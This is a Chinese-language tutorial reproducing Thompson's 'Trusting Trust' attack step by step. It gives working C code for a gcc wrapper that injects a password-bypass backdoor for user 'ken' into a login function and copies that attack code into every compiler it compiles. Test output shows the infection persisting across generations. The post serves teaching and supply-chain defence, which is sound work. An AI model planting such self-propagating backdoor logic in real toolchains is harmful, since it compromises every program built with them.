复现 Thompson 攻击:编译器中的隐形恶魔

深入探讨 Ken Thompson 的经典论文《Reflections on Trusting Trust》,手把手复现这个传奇的编译器攻击,理解为什么仅仅查看源代码是远远不够的。

四十年前,图灵奖得主 Ken Thompson 在他的传奇论文《Reflections on Trusting Trust》中,向世界展示了一个令人胆寒的攻击手法。这种攻击能让编译器本身成为特洛伊木马,悄无声息地在每一个编译出的程序中植入后门。

如果你还没有读过这篇论文,我强烈建议你先阅读原文。今天,我们将亲手复现这个让整个计算机安全界为之震撼的攻击。

信任的悖论

想象一下这样的场景:你拿到了一份看起来完全无害的 C 编译器源代码,经过仔细审查,确认没有任何可疑之处。然而,当你用系统中的编译器编译这份”干净”的源代码时,生成的编译器却已经被植入了恶意代码。

这就是 Thompson 攻击的精髓所在——它创造了一个能够感染自己所有”后代”的恶意编译器。即使这个恶意编译器编译的是完全干净的编译器源代码,编译出来的编译器仍然携带着感染,并且会继续传播这种”病毒”。

最可怕的是,这些恶意编译器看起来完全无害,因为它们的源代码确实是干净的。正如 Ken Thompson 在论文中警告的那样:

“无论多少源代码级别的验证和审查,都无法保护你免受不可信代码的攻击。“

第一步:生命的起源——自复制程序

要理解 Thompson 攻击,我们首先需要掌握一个看似神奇的概念:quine。这是一种能够输出自己完整源代码的程序,就像生物学中的自我复制一样。

让我们看看一个经典的 quine 程序:

char s[] = {
    47,
    42,
    32,
    /* 这里省略了数百行数字... */
    10,
    0
};

/* Even with some comments. */

#include <stdio.h>

int main() {
    int i;

    printf("char s[] = {\n");
    for(i = 0; s[i]; i++)
        printf("\t%d,\n", s[i]);
    printf("\t0\n};\n\n");
    printf("%s", s);
    return 0;
}

这个程序的巧妙之处在于,它包含了自己后半部分源代码的数字化表示。当程序运行时,它首先打印出 char s[] 的定义,然后打印出 s 数组的内容——而这个内容正是程序的后半部分源代码。

构建我们的 quine

为了创建这样的程序,我们需要一个”种子”文件 step1/seed.c

/* Even with some comments. */

#include <stdio.h>

int main() {
    int i;

    printf("char s[] = {\n");
    for(i = 0; s[i]; i++)
        printf("\t%d,\n", s[i]);
    printf("\t0\n};\n\n");
    printf("%s", s);
    return 0;
}

当然,这个 seed.c 本身并不是合法的 C 代码,因为它引用了未定义的变量 s。我们需要另一个工具来生成这个数组的定义。

我们编写一个转换程序 step1/string-to-char-array.c

#include <stdio.h>

int main(void) {
    printf("char s[] = {\n");
    int c;
    while ((c = fgetc(stdin)) != EOF) {
        printf("\t%d,\n", c);
    }
    printf("\t0\n};\n\n");
    return 0;
}

这个程序读取标准输入的每个字符,将其转换为 ASCII 值,并输出相应的 C 数组定义。

现在我们可以生成完整的 quine 了:

# 编译转换工具
gcc -Og -g -Wall string-to-char-array.c -o string-to-char-array

# 将种子文件转换为数组定义
./string-to-char-array < seed.c > replicate.c

# 将种子文件本身追加到数组定义后面
cat seed.c >> replicate.c

让我们验证这个魔法是否真的有效:

# 编译我们的 quine
gcc -Og -g -Wall replicate.c -o replicate

# 运行它并保存输出
./replicate > kid.c

# 检查输出是否与源文件完全相同
diff replicate.c kid.c

如果一切正常,diff 命令应该没有任何输出,这意味着 kid.creplicate.c 完全相同。恭喜!你刚刚创造了一个能够自我复制的程序。

第二步:初试牛刀——攻击编译器

现在我们要开始真正的恶作剧了。在 Thompson 的原始攻击中,他修改了真正的 C 编译器,让它在编译 UNIX 登录程序时自动植入后门。在我们的复现中,我们将”攻击”一个简化的编译器包装器。

目标程序

我们的攻击目标是一个简单的登录程序 step2/login.c。这个程序会要求用户输入用户名和密码,只有当密码正确时才允许登录。

编译器包装器

我们的”编译器”实际上是一个 gcc 的包装器,定义在 step2/identity-cc.c 中。正常情况下,这个包装器只是简单地将源代码传递给 gcc,不做任何修改。

但在我们的恶意版本 step2/trojan-cc1.c 中,情况就不同了。这个被感染的编译器会在编译过程中偷偷修改源代码:

static void compile(char *program, char *outname) {
    FILE *fp = fopen("./temp-out.c", "w");
    assert(fp);

    static char compile_sig[] =
            "static void compile(char *program, char *outname) {\n"
            "    FILE *fp = fopen(\"./temp-out.c\", \"w\");\n"
            "    assert(fp);"
            ;
    static char compile_attack[] =
        "printf(\"%s:%d: 编译器已被感染!\\n\", __FUNCTION__, __LINE__);";

    static char login_sig[] = "int login(char *user) {";
    static char login_attack[] = "if(strcmp(user, \"ken\") == 0) return 1;";

    // 这里是关键:寻找特定的代码模式并注入恶意代码
    char *login_sig_loc = strstr(program, login_sig);
    if (login_sig_loc != NULL) {
        // 找到了登录函数,注入后门代码
        static char tmp[8*1024*1024 + 1];
        size_t login_attack_offset = login_sig_loc - program + strlen(login_sig);
        strcpy(tmp, program + login_attack_offset);
        strcpy(program + login_attack_offset, login_attack);
        strcpy(program + login_attack_offset + strlen(login_attack), tmp);
    }

    // 将修改后的代码写入临时文件
    fprintf(fp, "%s", program);
    fclose(fp);

    // 调用真正的编译器
    char buf[1024];
    sprintf(buf, "gcc ./temp-out.c -o %s", outname);
    if(system(buf) != 0)
        error("system failed\n");
}

这个函数的恶意之处在于,它会扫描源代码寻找 int login(char *user) { 这个函数签名,然后在其后插入一行代码:if(strcmp(user, "ken") == 0) return 1;。这意味着任何用户名为 “ken” 的人都可以无需密码直接登录!

让我们测试一下这个攻击:

# 编译我们的恶意编译器
gcc -Og -g -Wall -Wno-unused-variable trojan-cc1.c -o trojan-cc1

# 用恶意编译器编译登录程序
./trojan-cc1 login.c -o login-attacked

# 运行被感染的登录程序
./login-attacked

现在尝试用用户名 “ken” 登录,你会发现无需输入正确密码就能成功登录:

user: ken
successful login: <ken>

感染其他编译器

更进一步,我们的恶意编译器还能感染其他编译器。当它检测到正在编译另一个编译器时(通过寻找 compile 函数的特征),它会在编译过程中注入一些标记代码。

# 用恶意编译器编译一个干净的编译器
./trojan-cc1 identity-cc.c -o cc-attacked

# 用被感染的编译器编译登录程序
./cc-attacked login.c -o login

你会看到输出信息:

compile:18: 编译器已被感染!

但这还不够。我们希望 cc-attacked 不仅仅是打印一条消息,而是真正具备感染能力。这就需要我们进入第三步——让编译器学会自我复制。

第三步:终极进化——自我复制的编译器病毒

第三步是整个攻击中最精妙的部分。我们要创建一个真正的”编译器病毒”——一个能够将自己的攻击代码注入到它编译的每一个编译器中的超级恶意程序。

攻击代码的数字化

还记得第一步中的 quine 技术吗?我们要用同样的思路,将攻击代码本身转换为数字数组,然后在编译时将这些数字”复活”成真正的攻击代码。

首先,我们将攻击逻辑写在 step3/attack.c 中:

// 这里包含了将攻击代码转换为数字数组的定义
#include "attack-array.h"

// 编译器的"指纹"——我们要寻找的代码模式
static char compile_sig[] =
        "static void compile(char *program, char *outname) {\n"
        "    FILE *fp = fopen(\"./temp-out.c\", \"w\");\n"
        "    assert(fp);"
        ;

static char login_sig[] = "int login(char *user) {";
static char login_attack[] = "if(strcmp(user, \"ken\") == 0) return 1;";

// 攻击登录程序的逻辑
char *login_sig_loc = strstr(program, login_sig);
if (login_sig_loc != NULL) {
    static char tmp[8*1024*1024 + 1];
    size_t login_attack_offset = login_sig_loc - program + strlen(login_sig);
    strcpy(tmp, program + login_attack_offset);
    strcpy(program + login_attack_offset, login_attack);
    strcpy(program + login_attack_offset + strlen(login_attack), tmp);
}

// 攻击其他编译器的逻辑——这是关键!
char *compile_sig_loc = strstr(program, compile_sig);
if (compile_sig_loc != NULL) {
    static char tmp[8*1024*1024 + 1];
    size_t compile_attack_offset = compile_sig_loc - program + strlen(compile_sig);
    strcpy(tmp, program + compile_attack_offset);
    strcpy(program + compile_attack_offset, compile_attack);
    strcpy(program + compile_attack_offset + strlen(compile_attack), tmp);
}

注意,这里我们使用了一个神奇的变量 compile_attack——它包含了整个攻击代码的数字化表示!

生成攻击数组

我们需要修改第一步中的转换工具,创建 step3/generate-attack-array.c

#include <stdio.h>

int main(void) {
    printf("static char compile_attack[] = {\n");
    int c;
    while ((c = fgetc(stdin)) != EOF) {
        printf("\t%d,\n", c);
    }
    printf("\t0\n};\n\n");
    return 0;
}

现在我们可以生成包含攻击代码数字化表示的头文件:

# 编译数组生成工具
gcc generate-attack-array.c -o generate-attack-array

# 将攻击代码转换为数字数组
./generate-attack-array < attack.c > attack-array.h

终极恶意编译器

在我们的最终版本 step3/trojan-cc2.c 中,compile 函数变成了这样:

static void compile(char *program, char *outname) {
    FILE *fp = fopen("./temp-out.c", "w");
    assert(fp);

    // 包含攻击代码——这一行将被复制到新编译器中!
#include "attack.c"

    fprintf(fp, "%s", program);
    fclose(fp);

    // 调用真正的编译器
    char buf[1024];
    sprintf(buf, "gcc ./temp-out.c -o %s", outname);
    if(system(buf) != 0)
        error("system failed\n");
}

这个设计的精妙之处在于:当 trojan-cc2 编译一个干净的编译器源代码时,它会在 assert(fp); 之后注入整个攻击代码。这样,新编译出的编译器就也具备了同样的攻击能力!

验证病毒传播

让我们验证这个编译器病毒是否真的能够自我传播:

# 编译我们的终极恶意编译器
gcc -Og -g -Wall -Wno-unused-variable trojan-cc2.c -o trojan-cc2

# 用它编译一个干净的编译器源代码
./trojan-cc2 ../step2/identity-cc.c -o cc-attacked

# 用被感染的编译器再编译一个干净的编译器
./cc-attacked ../step2/identity-cc.c -o cc-attacked2

# 用第二代被感染的编译器编译登录程序
./cc-attacked2 ../step2/login.c -o login-final

# 测试最终的登录程序
./login-final

如果一切顺利,你应该仍然能够用用户名 “ken” 无密码登录:

user: ken
successful login: <ken>

恶魔的胜利

恭喜!你刚刚创造了一个真正的编译器病毒。现在我们拥有了一个编译器二进制文件,它具有以下可怕的特性:

  1. 隐蔽性:源代码看起来完全无害
  2. 传染性:会感染它编译的每一个编译器
  3. 持久性:感染会在编译器的”家族树”中永久传播
  4. 破坏性:会在特定程序中植入后门

即使我们给这个被感染的编译器一份完全干净的编译器源代码,编译出来的新编译器仍然会携带病毒。这种感染会像生物病毒一样,在整个编译器生态系统中传播,直到永远。

信任的哲学

Thompson 攻击不仅仅是一个技术演示,更是一个深刻的哲学思考。它揭示了现代计算中一个根本性的问题:我们如何信任我们使用的工具?

在我们的数字世界中,几乎所有的软件都依赖于复杂的工具链:

  • 编译器将源代码转换为可执行文件
  • 解释器运行我们的脚本
  • 包管理器下载和安装依赖
  • 构建系统协调整个编译过程
  • 操作系统提供基础运行环境

每一个环节都可能成为攻击的目标。如果这些工具本身就被感染了,那么无论我们的源代码多么干净,最终的产品都可能是恶意的。

现代启示

四十年后的今天,Thompson 攻击仍然具有深刻的现实意义:

供应链攻击:近年来,我们看到了越来越多的供应链攻击,攻击者通过感染开发工具或依赖库来传播恶意代码。Thompson 攻击可以说是所有供应链攻击的鼻祖。

可重现构建:为了对抗这类攻击,技术社区开发了”可重现构建”技术,确保同样的源代码在不同环境中总是产生相同的二进制文件。

信任根:我们需要建立明确的信任根(Root of Trust),并从这个信任根出发,逐步验证整个工具链的完整性。

多样性防御:使用不同的编译器、不同的操作系统来交叉验证构建结果,可以降低被单一恶意工具攻击的风险。

结语:永恒的警醒

Ken Thompson 在他的图灵奖演讲中说道:

“你无法信任你没有完全创造的代码。”

这句话在今天听来,比四十年前更加振聋发聩。在我们越来越依赖开源软件、云服务和第三方工具的时代,Thompson 攻击提醒我们:

  • 谨慎对待信任:不要盲目信任任何工具,即使它的源代码看起来完全无害
  • 多重验证:使用多种独立的方法来验证软件的完整性
  • 透明度优于安全性:开放和透明的开发过程比依赖”安全性通过隐晦”更有效
  • 持续警惕:安全不是一次性的产品,而是一个持续的过程

Thompson 攻击是计算机安全史上的一个里程碑,它用一种近乎艺术的方式展示了信任问题的复杂性。今天,当我们每次敲下 gcc 命令时,都应该记住这个深刻的教训:

在计算的世界里,最大的威胁往往不是来自外部的攻击者,而是来自我们最信任的工具本身。

这就是 Thompson 攻击留给我们的永恒警醒——在一个由代码构建的世界里,信任是最珍贵也是最脆弱的资源。